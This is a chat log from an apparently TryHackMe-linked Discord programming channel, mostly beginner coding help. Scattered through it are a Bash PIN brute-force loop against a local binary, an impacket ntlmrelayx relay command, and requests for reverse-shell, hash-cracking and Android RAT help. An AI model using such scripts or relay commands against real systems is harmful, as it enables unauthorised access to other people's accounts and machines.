#programming

1 messages Β· Page 35 of 1

solar hull
#

Yes. And that’s just fine, hash maps should handle it just fine πŸ™‚

#

With a small performance penalty

brazen eagle
#

You are correct

lilac holly
#

hey guys, while i was coding i came to across to an error

#

i am watching a tutorial

#

and here is the code from the tutorial

#

i have done troubleshooting and my css is loading, but i cannot find anything on the internet

#

to be more specific the dots are not dissapiring and it not centered even though i coded to do such thing

plucky helm
#

What's the html code for that list?

lilac holly
lilac holly
plucky helm
# lilac holly

Sorry, I ain't familiar with that wp_* functions
Could you provide the .html file from the browser?

lilac holly
#

i used bootstrap to make my wordpress theme

plucky helm
#

Is this what you are looking for?

lilac holly
#

i did not fix my problem

#

would you like to hop in vc so that you get more info ?

plucky helm
lilac holly
#

nope

plucky helm
#

What do you mean by centered?

plucky helm
lilac holly
#

and css and all this stuff

#

it might be a bug

lilac holly
#

i am just stupid

plucky helm
lilac holly
#

thank your for your help

#

it is now fixed

plucky helm
#

What was causing the issue?

lilac holly
#

honestly i dont know

#

i am new to programming

#

however

#

i have to say a big thumbs up for your time and help that you provided

#

you deserve more

jolly dagger
#

anyone here who's starting THM course from basic?

untold iris
#

?

brazen eagle
#

ok?

gilded igloo
untold iris
jagged nacelle
#

in python, if I have the binary string:
000010111100
and I convert it to hex it comes out as:
bc
0000 in binary is just a 0. can I insert a 0 before the bc to make it accurately represent 0bc?

magic falcon
#

Jazz, start doing some reading on page table and page table entry formatting and layout

#

This is comp arch stuff, it's definitely in the H&P toaster recommends

jagged nacelle
#

oh yeah I know

#

ive just automated translating the linear address

#

were supposed to translate some addresses for our lab, and I decided a good way to learn how to do it would be making python do it

#
  • lazy
magic falcon
#

Usually the leading zero nibbles are dropped when converting to hex

#

But that's just a convention for readibility I think

jagged nacelle
#

yeah thats what I assume. maybe theres something with hex() I can add to change that

#

if not, I think I can just insert a 0

worthy spire
#
#!/bin/bash
x=1000 #last four digits
var="$(echo -n '1243'$x|./binary)" 
while [ $x -le 48399999 ] 
do
echo 4839$x
echo ${var:53}
if [[ ${var:53} == "Access denied." ]]; then
    echo "nope"
    x=$((x+1))
    continue
else
    echo "Got it"
    break
fi
x=$((x+1))
done```
#

output: 12341000
Access denied.
Got it

worthy spire
#

btw full var is ```Please enter your PIN code:
12341000
8
Checking PIN...
Access denied.

stark ginkgo
#

ok so im trying to parse data from a .csv and take the 5th column to then put that through a value check, and i wrote out the logic and have no idea why but it does nothing, any ideas or recommendations?

#

it tis bash btw

magic falcon
#

Use a language that has libs for parsing data this way. python, R all do it easier than bash.
The only reason to do this is in bash is if there some complicating factor that makes other scripting languages inaccessible

tropic minnow
#

Python has a nice csv module with functions like reader()

magic falcon
#

If you absolutely have to do this in bash, start digging around into the default bash executables, like cut and sort.

#

Even then, you'll get a lot more mileage using awk

stark ginkgo
#

hmm ok, and unfortunately has to be done via bash due to constraints of a project. ill look into cut and sort to see what i can knock out

magic falcon
#

again though, doing this in bash is absolutely bottom tier to getting something re-usable. Bash is Turing complete, but that doesn't mean that's the best choice for this

stark ginkgo
#

fair

magic falcon
#

if this is just adding users, blow out some python or awk to out an ansible vars.yml and do all the user and group management with ansible

#

unless it's homework.....

floral fractal
#

Hey, does try hack me have bash scripting tutorial?

tropic minnow
floral fractal
#

Thx😬

lilac holly
#

no rep, LoL.

tropic minnow
crystal light
wispy kestrelBOT
#

Gave +1 Rep to @tropic minnow

lilac holly
crystal light
stray crag
#

Hi everyone what is a great python book to start with?

brazen eagle
#

usually good advice πŸ˜‰

stray crag
#

Thanks infloop ill check it out mateπŸ˜€ 😎

tropic minnow
inner scaffold
#

What is the best use of C in modern day?

long ridge
magic falcon
rain escarp
#

Hello, some people to can help me in visual basic ?

magic fern
#

Hi all, i am trying to write a crawler capable of identifying URLs inside data urls (e.g. in <image src="data:[<mediatype>][;base64],<data>" />. Does someone knows if there is already some library around that I could use as inspiration for my code? (Or maybe where to find something similar in the v8 source code, for instance)

magic falcon
rain escarp
rain escarp
#

So its need to be dynamic

#

but idk how to do that

dull tangle
#

Best approach would be to break down each section you need and then check out stackoverflow for people who have done it before you

plucky helm
#

Why no modify the CSV?

LABEL, foo, bar
0, ...
1, ...
2, ...
...
rain escarp
rain escarp
#

in vb

dull tangle
#

You don't ask a question on stack overflow, everything you need has already been done

#

just in smaller sections

rain escarp
#

yes, but the question to google to get the answer xD

dull tangle
#

"How to update a label vb"

#

"How to query <db type>"

#

Just break down your end goal into smaller sections and you'll be able to piece it together like a jigsaw puzzle

rain escarp
dull tangle
#

legit you may want to take a look at a vb tutorial or something

rain escarp
#

If I go to discord its bcs I already go on google

dull tangle
#

it's literally <labelname>.text = "INSERT WHAT YOU WANT HERE

rain escarp
#

NO

#

bcs its not dynamic

dull tangle
#

ok so each line you write

rain escarp
#

yes

dull tangle
#

label.text = label.txt + 1

rain escarp
#

but if I do that

dull tangle
#

just increment it

rain escarp
#

He donna wait the last value to print this

#

He not gonna do dynamically

dull tangle
#

Wait so you wanna just print out the final "x lines wrote?"

rain escarp
#

no

dull tangle
#

Do you even know what you want?

rain escarp
#

I want to know where I am

#

beacause its like 40M lines

dull tangle
sonic tapir
#

hi, guys

#

any python expert here?

inner scaffold
#

Hey guys do any of you know about these what are these?

#

These are some kind of line that appear on the VS Code editor in the right hand side of the scroll bar.

solar hull
magic falcon
rancid panther
#

hey im on mac and was wondering if i can create c++ projects in vs code that automatically sync to my github repo but arent saved locally? so i can work on it from different machines without having them saved on any machine?

#

kind of like repl.it, i was using that until now but i want to do it with vs code

faint sparrow
#

It basically is vscode in a browser synced with GitHub repo and additionally a cloud instance

plucky helm
#

Ctrl + ., is that it?
But they won't be able to run those projects, will they?πŸ€”

sullen venture
plucky helm
#

It would be better to have something like sshfs (file-system from a remote system) on your system.
So that changes are done to it directly, and you can run the code tooblobfingerguns

#

We could run the tests, but mehπŸ˜„

faint sparrow
#

You can run it if it's using code spaces instances and not just the editor

#

At least can run it if it's cli

rancid panther
#

Okay I just figured it out my projects are only a couple KB so I’ll save them locally instead of on the cloud, so can I use GitHub to access them from a different machine now?

plucky helm
#

So, you will have to upload them to the cloud (GitHub)

rancid panther
#

Ok can I just do that through vs code?

#

like add it as a repo and whatnot

tropic minnow
#

not directly from vscode but from a command line

rancid panther
#

oh really , so i dont need the command line

#

thanks ill try that

#

bet

buoyant charm
#

Anyone code's in c language tuxcooctus

hazy hedge
buoyant charm
#

@hazy hedge That's great bro TryFlagMe

#

@hazy hedge We'll I Code C some time, and other languages tothm

buoyant charm
#

yell_cat lightsaberpepe πŸ‘

rancid panther
#

hey ive linked a private repo to vs code for cpp projects and the projects each have a file to go with them(to read from)
would it make sense to make it branches or deos someone have a better idea?
or maybe just make folders in the repo for each project and its files?

magic falcon
#

what kind of repo? version control makes the most sense, using something like NFS is going to lead to a lot of pain when you need to rollback changes.

rancid panther
magic falcon
rancid panther
#

i mean its not a secret lol i just want to keep my cpp projects from class in there πŸ˜‚

magic falcon
#

There we go. So you can have subprojects linked in a main project. Are you self hosting some flavor of git, or just using a private repo on github.com?

rancid panther
#

priv repo on github

magic falcon
#

and the actual git docs on submodules

plucky helm
#

I think, they are talking about CP (Programming) projects
A repo containing the directory of each project should be enough πŸ˜„

rancid panther
#

okay cool ill check that out, i have them in folders for now but i assume the submodules are better

#

yea c++ programs

magic falcon
#

It 100% depends on your use case. My reading is that you have multiple c++ programs that you wanted to collect into a single project listing

rancid panther
#

because for example, a project can have some files it reads from so i dont want it to get conused

magic falcon
#

What you're saying doesn't make any sense.

rancid panther
magic falcon
#

So they are opening and reading files from disk to perform some kind of processing?

rancid panther
#

sure

magic falcon
#

It's really bad practice to include static config files or data files as part of your repo.

rancid panther
#

i submit my work externally so it doesn't really matter

magic falcon
#

It's that kind of attitude that gets API keys published in the repo

#

But you do you

rancid panther
#

its really not that complex

#

theyre just text files with info that the program reads

#

And to keep them together with their designated program, i want to put them into folders or something that could keep them together and not mixed up with other programs in the repo

plucky helm
#

Something like in/testcase-1.txt, out/correct-1.txt

rancid panther
#

umm

#

do you know c++ lingo by any chance?

plucky helm
#

Yes, I doπŸ˜„

rancid panther
#

okay cool

#

so take for instance in the program i have ifstream inputfile; inputfile.open("Creatures.txt"); if(!inputfile.is_open()){

#

so im reading from a file right?

plucky helm
#

Yeah, but not yet. Just opening itπŸ˜…

#

But yes

rancid panther
#

sure you get the point

#

now that file its reading from, I want to keep it organized in the repo so that it stays with the program and it doesnt get mixed up with other textfiles in the repo

#

make sense?

magic falcon
#

If the file is open in the program, why would it get mixed with other running programs?

rancid panther
#

It won't , I just dont want to open the repo and see a bunch of .cpp and .txt files mixed up

#

theres like 100s of them

plucky helm
#

Not programs but all of the code they have written
Like creature.cpp, humans.cpp and then Creatures.txt, Humans.txt
Submodule will work too, but would require separate repos for each project

rancid panther
#

so what would be ideal then

#

folders?

#

okay cool , thanks

plucky helm
#

πŸ€¦β€β™‚οΈ

#

NVM

solar moat
#

Hey anyone have any experience in app development?

brazen eagle
#

maybe

#

very probably as well

brazen eagle
tropic minnow
solar hull
#

Maybe that was the question πŸ€·β€β™‚οΈ

solar moat
brazen eagle
quick pebble
#

Lol I don’t know nothing about programming and this is hard

magic falcon
#

couple of notes: type is a built-in for python; when you re-use that name for something, you lose accessibility to the original for the scope of the override. Not a huge deal here, but if you had an expectation of type introspection or type checking, it could cause problems.
You are performing a hash for each word in each line; generating a hash is going to be expensive, by design. Profiling may be able to help you identify where you should focus efforts. (Parallel computation is likely to be a bigger gain than anything else, from what I see).
In general though, you are extremely unlikely to build a hash cracker that runs faster than existing tooling. Completely fine as a learning exercise, but if you are trying to make a new project or product, consider dumping this into a language with better computational efficiency

#

@vast parcel ^^

wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

magic falcon
#

doing this in python is a PoC is fine; java, C#, C++ and C will all be orders of magnitude faster, even if you correctly parallelize and chunk the input

#

i would also consider reading in the entire wordlist file and turning the file into a list of individual words, not reading in 1 line at a time

#

it's a question of where python file reads occur and can you turn those into a bulk read. less important on SSDs, but the performance hit on hdd could be substantial

#

"First order function calls"

#

You could also store the appropriate function as a lambda

wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

quick pebble
#

I love this programming world but I don’t know almost anything .How can I start learning the basic things?

magic falcon
#

Get an idea for a project. Pick a language. Start solving the problems.

coral lotus
ancient jasper
#

Hi are there anyone who understand C ?

#

So i'm solving a problem on Codewars and this is the what the problem taking about : Write a function named repeater() that takes two arguments (a string and a number), and returns a new string where the input string is repeated that many times.

#

this is an Example "aa " , 5 --> "aa aa aa aa aa "

#

And this is my solution and there is a problem in it :

#

char* repeater(const char * strin, intn)

#

{ char *str = (char *) maloloc ((strlen(strin) * n) * sizeof(char )) ;
strcpy(str, strin);
for(int i = 0; i < n-1; i++)
{ strcat()str, strin);} return str; }

plucky helm
#

In C, one can -

char *repeater(const char *input_string, unsigned int count) {
    unsigned int ilen = strlen(input_string);

    if (ilen == 0) return NULL;

    char *output_string = (char *) malloc(ilen * count + 1);

    if (output_string == NULL) return NULL;

    for (unsigned int i = 0; i < count; i++) {
        memcpy(output_string + i * ilen, input_string, ilen);
    }

    // null-terminate the string
    output_string[ilen * count] = '\0';
    return output_string;
}

In python, I can -

repeater = lambda s, n: s * n
ancient jasper
#

i know i have to free the str but if i copy the content of it to another array then free the allocate memory the answer will be : solution.c:14:10: warning: address of stack memory associated with local variable 'matrix' returned [-Wreturn-stack-address]
return matrix;
^~~~~~
1 warning generated.
free(): invalid pointer

plucky helm
#

Oh, yeah. Make it static

ancient jasper
#

which one ?

plucky helm
#

I gotta test itπŸ˜…

ancient jasper
#

np

#

take your time bro

plucky helm
#

I have got this code, it isn't giving me that error. Works as expected πŸ˜„

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char *repeater(const char *input_string, unsigned int count) {
    unsigned int ilen = strlen(input_string);
    if (ilen == 0) return NULL;

    char *output_string = (char *) malloc(ilen * count + 1);
    if (output_string == NULL) return NULL;

    for (unsigned int i = 0; i < count; i++) {
        memcpy(output_string + i * ilen, input_string, ilen);
    }

    // null-terminate the string
    output_string[ilen * count] = '\0';
    return output_string;
}

int main(void) {
    int count;
    char str[100], *result;

    fprintf(stdout, "Enter the input string: ");
    fgets(str, sizeof(str), stdin);
    str[strlen(str) - 1] = '\0';

    fprintf(stdout, "Enter the number of times to repeat: ");
    scanf("%d", &count);

    result = repeater(str, count);
    fprintf(stdout, "Result: %s\n", result);
    free(result);

    return 0;
}
plucky helm
ancient jasper
#

sure i will take a screenshot now

plucky helm
#

You gotta verify to share an image here

#

!docs verify

narrow terraceBOT
ancient jasper
#

can i send it to you on direct

#

the screenshot

cunning path
#

Hey, I was thinking of learning Python3. Does anyone have experience with the website freecodecamp ? is that good for "beginner" ? I learned some Java 10+ years ago but havent done anything since. Money is an issue so I would prefer to not buy another subscription service at the moment ^^

magic falcon
#

IMO just get a couple of no start python books and go through them - Automate the boring stuff is a good one to start with

cunning path
#

Oh its even free to read

#

I will check it out thank you : )

rain escarp
#

Hello ! I wan't to make a reverse shell listener in golang... Did u have source ? Not obligatory in golang, but some sources to give inspiration

brazen eagle
#

you'll probably want to look at tcp sockets

rain escarp
magic falcon
#

it should be pretty close to a one-liner

plucky helm
waxen lotus
cunning path
stoic badger
cunning path
#

data analysis and machine learning are the other 2. I think machine learning is like robotic so thats probably not it ^^

waxen lotus
#

Yes, with Dr. Chuck. He's really good. @cunning path

#

I did python2 (years ago) taught by him.

cunning path
#

ah cool : ) ye i think i have "enough" to start. I have the book to look at and the freecodecamp series

waxen lotus
#

Definitely. If Dr. Chuck's lessons are similar to what I took, you get introduced to all the basics and then dives you into importing Beautiful Soup where you learn regex and how to search for emails in a txt file.

#

OO just scanned the scientific python curriculum and it looks good. Eventually, you'll find a topic or project more interesting to you and when you do, go for it.

#

I mean in context with Dr. Chuck's lessons.

wispy kestrelBOT
#

Gave +1 Rep to @plucky helm

cunning path
#

Thanks for the advice @waxen lotus πŸ™‚

wispy kestrelBOT
#

Gave +1 Rep to @waxen lotus

ancient jasper
#

HI i was solving a problem on codewars this is the problem : A number is called Automorphic number if and only if its square ends in the same digits as the number itself.
Task
Given a number determine if it Automorphic or not .

magic falcon
#

please put your code in the ``` tags please

ancient jasper
#
#define TRUE "Automorphic"
#define FALSE "Not!!"

int number_of_digits(int n)
  {
  int c = 0;
  while(n > 0)
    {
    n /= 10;
    c++;
  }
  return c;
}

const char *autoMorphic(int number)
{
  if(number == 1 || number == 0)
    return TRUE;
  
  int square = number* number;
  
  // nod = Number Of Digits
  
  int nod_number = number_of_digits(number);
  int nod_square = number_of_digits(square);
  
  int *arr_square = (int *)malloc(nod_square * sizeof(int)), *arr_number = (int *)malloc(nod_number * sizeof(int));
  for(int i = 0; i < nod_number; i++)
    {
    arr_number[i] = number % 10;
    number /=10;
  }
  for(int j = 0; j < nod_number; j++)
    {
    arr_square[j] = square%10;
    square /=10;
  }
  
   // compare between arr_square and arr_number
  
  for(int x = nod_number; x > 0; x--)
    {
    if(arr_number[x] == arr_square[x])
      nod_number--;
  }
  free(arr_number);
  free(arr_square);
return nod_number ? FALSE:TRUE ;  

}```
#

it doesn't work on a one digit numbers, I don't know why

brazen eagle
#

the only other single digit ones would be 5 and 6 I think

ancient jasper
#

I've just added condition to the code and it did work

#
    return FALSE; ```
#

but it doesn't seem right to me, although the code works

ancient jasper
#

look at this solution when i read the solutions after solving the problem i think i'm stupid asf

#
{
    int n2 = n * n;
    for ( ;n; n /= 10, n2 /= 10)
        if (n2 % 10 != n % 10)
            return "Not!!";
    return "Automorphic";
}```
brazen eagle
ancient jasper
brazen eagle
#

yeah but I like to have the braces even though they aren't strictly necessary, it makes things clearer

slender karma
#

Hi everyone. I'm going through the Rust room https://tryhackme.com/room/rust and I'm having an hard time understanding a part of the following code:
let a = vec![1, 2, 3]; a.iter().map(|&i| i * i.sum()
What's the purpose of the |&i| ? I might guess that it is like the type of the iterator or its adress but I'm not sure. I tried to google it but got buried under other part of the syntax. Can someone help me?

slender karma
#

Ok, now I get a bit of it. Thanks. Is it just me or Rust does have some really weird and cumbersome syntax?

onyx merlin
#

I don't know rust, I just know google πŸ˜†

remote echo
#

Also, iterator amd closure are functional programming style features , so it's not specifically rust that has this weird syntax ig? Anyway, iterators amd closures are blobheart

brazen eagle
#

rust has an odd syntax for sure

timid walrus
#

anyone here knows about the Openssl (c) lib?

solar hull
#

I know that compiling it is hell.

timid walrus
#

it is already compiled

#

my question is how to use it

#

the documentation seems hell (as well)..

#

so, I created a simple TCP server with SSL

#

using SSL

solar hull
#

The api docs are awful, i agree.

timid walrus
#

when I send a message from the browser, the headers come unencrypted, but the body is encrypted

#

is this normal? how do I decrypt the body?

#

when I search about this on web/stackoverflow its always said that all the message is encrypted, not only the body

crystal light
timid walrus
#

request in this case

crystal light
timid walrus
#

both, but my question is about the server

#

when I send a request from a browser I get an encrypted body

#

I can show you the code

crystal light
crystal light
timid walrus
#

it's small atm

crystal light
light raptor
#

I need some advice on a college project i am making.. I am trying to build a website. The workflow is

  1. User enter an IP address
  2. I use nmap lib in python for a port scan
  3. And then provide CVE ids as an output to the user, the target is vulnerable to..
    Is it possible to implement the third step?
magic falcon
#

It's possible. It'll probably be non trivial, because you'll be relying on external databases for detection or else you'll have to write some kind of PoC code to verify CVE applicability and vulnerability.

Basically what you are trying to do is re-create external vulnerability scanning. There are many products that do this reasonably well.

light raptor
#

Yeah but its a college project and i need to have something to show up for as i Don't want to fail the semester so..

tulip sail
onyx merlin
tulip sail
#

Most of the public DBs are not fit for purpose, and most of the other vuln scanners don't make their DBs public / easy to integrate

#

I would highly recommend choosing a different project if this one requires that as a feature

tulip sail
light raptor
#

?

light raptor
# onyx merlin ~~nmap --script-vuln is easy though~~

I can execute this command with the os.system() in python and return the user as an output maybe? The nrich command line tool option looks more promising as its a tool by Shodan. But the main confusion is how to fetch user input and pass it to backend. I am confused about if that can be accomplished with Django

onyx merlin
#

Nmap has XML output, not sure if it does for the scripts.

tulip sail
light raptor
light raptor
tulip sail
#

It's, uh, not recommended

light raptor
#

I first thought of using Metasploit pro api key but that's 15K dollars a year lol

light raptor
tulip sail
#

As I said, I'd suggest not doing this project at all if it's that important. Port scanning is easy. Vuln scanning is a nightmare unless you have the resources to set up your own vulnerability db

#

If you're getting marked for programming ability, I would definitely suggest against subprocesses. Try to keep it pythonic if you can

light raptor
tulip sail
#

Well, why not choose a different cybersec project?

#

Or keep it as a port scanner. That's still useful

light raptor
tulip sail
#

What's the project specification?

light raptor
#

We must implement it and code it. But what ive observed is people just take projects off the internet and presenting them and professors are fooled by them. I am the only one who went down the cybersecurity path

tulip sail
#

Well, if you already chose and had a topic approved then you'll probably need to stick with it

#

But it's not gonna be easy, and if you're marked on the code you'd be best staying away from system commands

light raptor
#

I was thinking about this but failed eventually because i didn't know it'd be this complex

magic falcon
#

When's your deadline to have this one?

light raptor
magic falcon
#

That's really pushing it for a moderately difficult but clearly defined project.

light raptor
#

Please drop any suggestions if you can. It'd be a great help πŸ€— I am just scared of failing the semester as i am allowed to study penetration testing by my parents only if my grades are up in college studies

magic falcon
#

Alright. So here's my recommendation: take today and relax. Lose the stress, you're going to make poor decisions. Tomorrow, think about what you are interested in, and what you feel you really want to dig in to. Spend the next 1-2 days surveying what's out there. That gives you about 2 weeks to that project hard - but unless you really find a groove, plan on writing somewhere between 200 and 500 lines of code. If you don't think you can do the project in that timeframe and # of lines, don't pick it.

light raptor
wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

tulip sail
magic falcon
# tulip sail > plan on writing somewhere between 200 and 500 lines of code ~~A day, right?~~ ...

A really productive programmer writes, on average, 10 lines of good code per day :X I know that if I don't start with a really good set of requirements and a clearly defined data model, I don't seem to write more than 15-25. If the project is clearly defined and the reqs are predetermined, my best is somewhere around 300-400.

There's a lot more thinking behind code that needs to happen than just slamming hands on keyboard

tulip sail
#

I know, I'm kidding πŸ˜†

magic falcon
#

lol

#

yeah, that's more for the lurkers creeping on this channel....

brazen eagle
#

and no major integration issues...

#

...and I don't decide to try to do something stupid like homebrew my own DI

magic falcon
#

Or have to re-write the db schema to make the api work....

brazen eagle
#

luckily I don't have to worry about directly attacking my DB, because $VENDOR did that for me...poorly mind you, but still

magic falcon
#

brutal

#

it's a bad scene in development when the db schema is part of the agile practice

brazen eagle
#

I don't want to know what the actual schema looks like, but I'm betting it's autogenned

magic falcon
#

Yeah

#

but changing the schema also means that the test data has to be re-generated as well - i think every engine i've used has had problems re-ingesting dumped data, even if the tables are only augmented with new columns

brazen eagle
#

that's what migration scripts are for...

#

damnit Juun, you'd be fun to drag along to a pub I think πŸ˜„

magic falcon
#

lol

#

You are making the assumption that migration scripts work past the initial one-off use case

magic falcon
#

Nah, I'm just bad at migrating the data

brazen eagle
#

oh ok

magic falcon
#

my usual strategy is dump to CSV, run a couple ETLs to get the data into the new expected format, and re-ingest

lilac yarrow
#

Hello

lilac yarrow
#

Does someone know HTML here?

brazen eagle
#

just ask the question πŸ™‚

#

someone'll pick it up, more like than not

lilac yarrow
#

Okay so, I wanted to move an image NOT a text in the file (index.html) not style.css, does someone know how?

violet whale
#

What exactly do you mean by that?

onyx merlin
brazen eagle
#

you were able to parse that? hats off...

lunar ember
#

Hey everyone!!! My name is Jamie, and I am a junior programmer. I was wondering if I could talk to someone about a problem I am trying to solve using hashmaps & algorithms? I am fairly new to python and would love some help!

magic falcon
#

@lunar ember Just ask your question! Several of us have CS backgrounds

waxen lotus
#

I'm enjoying the Bash Scripting Room.

light raptor
#

I have a question related to Shodan API. If my own device (localhost) isn't indexed by the Shodan search engine, then can i use it to find vulnerabilities in my own local network running VMs? I am trying to use it for my project i discussed here. But i am confused coz Shodan only gives us info related to indexed devices and since my localhost (probably) isn't indexed so can i use Shodan API against a target in my own internal network?

onyx merlin
#

It scans the internet

dusty atlas
#

Not technically a programming question more deployment, I have forked terrain2STL and downloaded terrain data for the world. I can run it locally just fine but I would like to deploy it somewhere so other people can use it. The dataset is around 20GB and I was thinking S3 and AWS although not sure how much tweaking that will need. I can't host it at my web hosting as I don't have the disk space necessary, the other option is I host a server locally using nginx or something. Are there any other options I have overlooked/not thought of?

onyx merlin
#

VPS?

dusty atlas
#

A VPS would be good as well, I am trying to keep the cost down as much as possible as well lol

#

I was thinking also maybe digital ocean or heroku although I'm really unfamiliar with these

light raptor
# onyx merlin No, you can't use it like that.

Is there a way to know if our machine is indexed by Shodan? Like it scans the entire internet and we are also a part of the network right? And if it doesn't index our own host what's the reason?

dusty atlas
#

Very true, I think I just needed to get an external opinion. DO looks like it's probably the best solution

light raptor
onyx merlin
#

I think you need to do a lot of reading about NAT and IP addressing before carrying on with this project

light raptor
willow vortex
#

Hey could anyone give me help on this problem
#Hide text in the image /tmp/image.gif
#Append the word alieneye to end of the file. I tried writing a program but then found this website doesnt support the "stegano" module and now this has me lost. Could anyone help find a way to hide text in the image without using this module? Thank you for the help!

proven jacinth
#

Source ID -10ef60f0-3c9f-4b45-8e15-08da1318f608

dusky summit
#

hi there can you guys/gals suggest some tools to find vulnerabilities in source code (C#)

cursive lodge
#

Well, I've searched and there's no automated tool sets that I've seen. I recommend just attacking your code with everything you have once you compile it. Don't forget to heavily obfuscate your c# code! It's very easy to reverse engineer unobfuscated code due to the vast array of C# decompilers out there,

dusky summit
#

@cursive lodge i have 0 knowledge of coding i just have to scan the codes using tools to find vulnerabilities in a school assignment the professor asked me to use anytools

magic falcon
cursive lodge
#

Yes, I do contract work for insurance companies. I've searched for automated tools yet I have trouble finding ones for C# that are actively developed.

#

Maybe I'm blind and deaf? paradox

magic falcon
#

What category of tool would this scan fall under?

#

rather what category of activity?

dusky summit
#

ah

#

my frnd told me its in C#

magic falcon
#

Ok... but what is the name of this activity?

dusky summit
#

assignment 3 ;-;

magic falcon
#

There's a formal name used in industry that refers specifically to this kind of source code review

dusky summit
#

should i post the source code file?

magic falcon
#

No

dusky summit
#

okie

magic falcon
#

It's for an assignment, distributing the source code beyond your class may be considered cheating or a violation of the student ethics code

dusky summit
#

well the only thing im not allowed to do i ask fellow classmates ;-;

#

thats why i ask on fourms and here

#

im allowed to use any sources

cursive lodge
#

Juun there's some good scanners but I think this person just needs something to quickly do it... J4T7 at my work we used dotTest. Not sure if it's super relevant anymore but it did the trick

magic falcon
#

That seems doubtful - I'm trying to guide you to an answer without telling you explicity what it is

#

It's for a schoolwork assignment, we don't really give explicit answers for help with those, if you get any help at all.

dusky summit
#

id find the answers myself

#

if that seems reasonable

cursive lodge
magic falcon
#

The first reason for that is that we cannot verify that it is an open-book type of assignment. Usually these assignments frown on collaboration. The second reason we don't help is that any questions, such as this, should be covered in the course material and any answer we give may not be what the instructor is expecting. If you get an answer from an industry SME, it may not align with what the prof is teaching. That discrepancy could costs you points or marks.

#

So again, what is the category of activity that this kind of source code review falls under?

dusky summit
#

how do i know if its C#

magic falcon
#

One thing I would be careful of, is making sure that any tool I would use fits the use case for the provided source code. It wouldn't make much sense to use a tool dedicated for web services if the code is part of a unity game.

#

How do you normally know what kind of code it is? This sounds like a great way to start a conversation about this assignment with your prof.

dusky summit
magic falcon
#

That question was rhetorical. You really should ask your professor first.

dusky summit
#

can i send you a screenshot about a school class slide about this

magic falcon
#

Nope

dusky summit
#

alright

#

what would you suggest me here then

#

assuming that i no info about source codes review and i need tools to do the thing

magic falcon
#

It sounds to me like either you haven't paid attention to the lectures, don't understand the material, or need to talk to the dean because this prof isn't doing his job.

dusky summit
#

80% of the times**

brazen eagle
#

The assignment clearly says that some of the tooling required was covered in class

#

I'd reread the assignment carefully because it seems to include everything you need to get started, at least for searching

rancid panther
#

whats a good website/ way to learn python with
i dont like books too much

winged magnet
#

i am working on Andriod rat like spynote, 888 rat is there any resource which will help me to make it perfect i am try to make interface using netbeans java plz tell if i m on write path

lilac holly
#

I am implement the insert function of insertion sort and it's working fine according to me but It's not showing option to proceed to next step. Am i missing something?

#

nvm they are only accepting identical solution .

brazen eagle
brazen eagle
lilac holly
#

yes its the insert function

brazen eagle
#

at least it's not a classic insertion sort

lilac holly
#

the next section implements the insertion sort

brazen eagle
#

it's a very strange function though that needs foreknowledge of the item's place in the array

lilac holly
#

thats what we do in insertion sort , item place is just the index of every ith element but yes its confusing cuz its not complete in the image

brazen eagle
#

I know what an insertion sort is πŸ™‚ though yeah I was probably misreading something

#

ok I see now

#

that you're doing it in place is probably what was throwing me off

vagrant oak
#

Hey

#

Who's good at python

true pumice
#

Just ask your question πŸ™‚

vagrant oak
#

Just wanna know how long it takes to learn πŸ˜‚

#

The average time

true pumice
#

There’s a lot of factors that come into how long it will take to learn

#

So it’s really hard to say

vagrant oak
#

Do I have to pay to learn

true pumice
#

Nope

vernal vigil
#

Youtube

vagrant oak
#

Ahh I see thanks alot .I,ll probably put in 30hours weekly lol

true pumice
#

Just try not to burn out, learning a new skill is fun but tiring

autumn sun
#
Traceback (most recent call last):
  File "examples/ntlmrelayx.py", line 51, in <module>
    from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer
ImportError: cannot import name 'WCFRelayServer'

Hi, I get this error. Even tho wcfrelayserver.py is in impacket/examples/ntlmrelayx/servers folder.
sudo python3 ntlmrelayx.py -smb2support --smb-add-computer <FAKE> -t <FQDN> --no-http-server --no-wcf-server --no-raw-server
This is the command I ran if it helps

dreamy dirge
wispy kestrelBOT
#

Gave +1 Rep to @dreamy dirge

waxen lotus
#

@vagrant oak freecodecamp has free interactive python lessons. I think the intro part uses videos from Dr. Chuck, who is really good. Took his course years ago.

vagrant oak
waxen lotus
#

πŸ‘

solar spindle
#

hello everyone

#

i wanna to learn python i need to know resource

inland hazel
inland hazel
#

no problem

#

just had to checks the bookmarks shadow stores in the browser to send those links

lyric mirage
#

That covers more than python.

solar spindle
#

How long do I learn

onyx merlin
solar spindle
waxen lotus
#

Practice. Practice. Cry. Practice.

autumn sun
#

I agree with @lilac holly

sly frigate
#

Heya @clear lodge

#

So I have multiple url from the backend and the only way I know to display the data is by using matTableSource. But now I am asked to display it using cards and I am unable to do so

#

I think this isn't that big a thing but I really don know how to do it

clear lodge
#

Sloddervos is gonna help you

modern talon
#

This is RIGHT up my alley

clear lodge
#

An angular alley

sly frigate
#

Lmao

modern talon
#

So, when you were usijg matTableSource, were talking about extending the abstract DataSource class provided by material, no?

sly frigate
#

Like, I have this. But how do I use that service URL to get the data? Do I use a string?

modern talon
#

You basically construct the same thing, but instead of using the provided mat-table component, you create a custom component that renders cards instead. I try to stick as close to the used component library as possible myself.

modern talon
sly frigate
#

Yeap

modern talon
#

Have you built a service that makes use of the HttpClient yet?

sly frigate
#

Yes

#

I have added it in the service component too

modern talon
#

So you have your component that renders cards and you have a service. To decouple them, one would usually build something called a datasource.

#

The component instantiates the datasource, which loads the data using the public get method you have built in your service. The data source also exposes an observable or subject that emits the new values upon http call completion.

sly frigate
#

Well yes, I do have added a dataSource while adding the data to a table

modern talon
#

Ah, you need to display cumulative values of the values displayed in the table in the green boxes?

sly frigate
#

DataSource was used to display data into a table once. I am guesiing I cannot use it again?

#

Since the card logic is diff?

modern talon
#

You would likely have to build a new custom datasource. The cards are 'dumb' components. You just feed them data and fill in the template with that data.

sly frigate
#

Yeah but the backend is giving me the data values and I am req to just use that URL to just display...

modern talon
#

That's alright. You will just have to aggregate the data into a structure which is usable for your use case. You can easily add up the numeric values using the reduce method and emitting them on a separate observable stream.

#

Your problem seems to be that you have too much data that you just want to simplify and aggregate. You can do that in a custom datasource

#

You might not even have to build a datasource for that, but simply setup that observable in the component instead.

sly frigate
#

Well then, I'll try and let you know.

modern talon
#

Hold on, I'm writing you a simple example

sly frigate
#

Ok

modern talon
#
// component.ts

public utilitiesAggregate: Observable<number>;
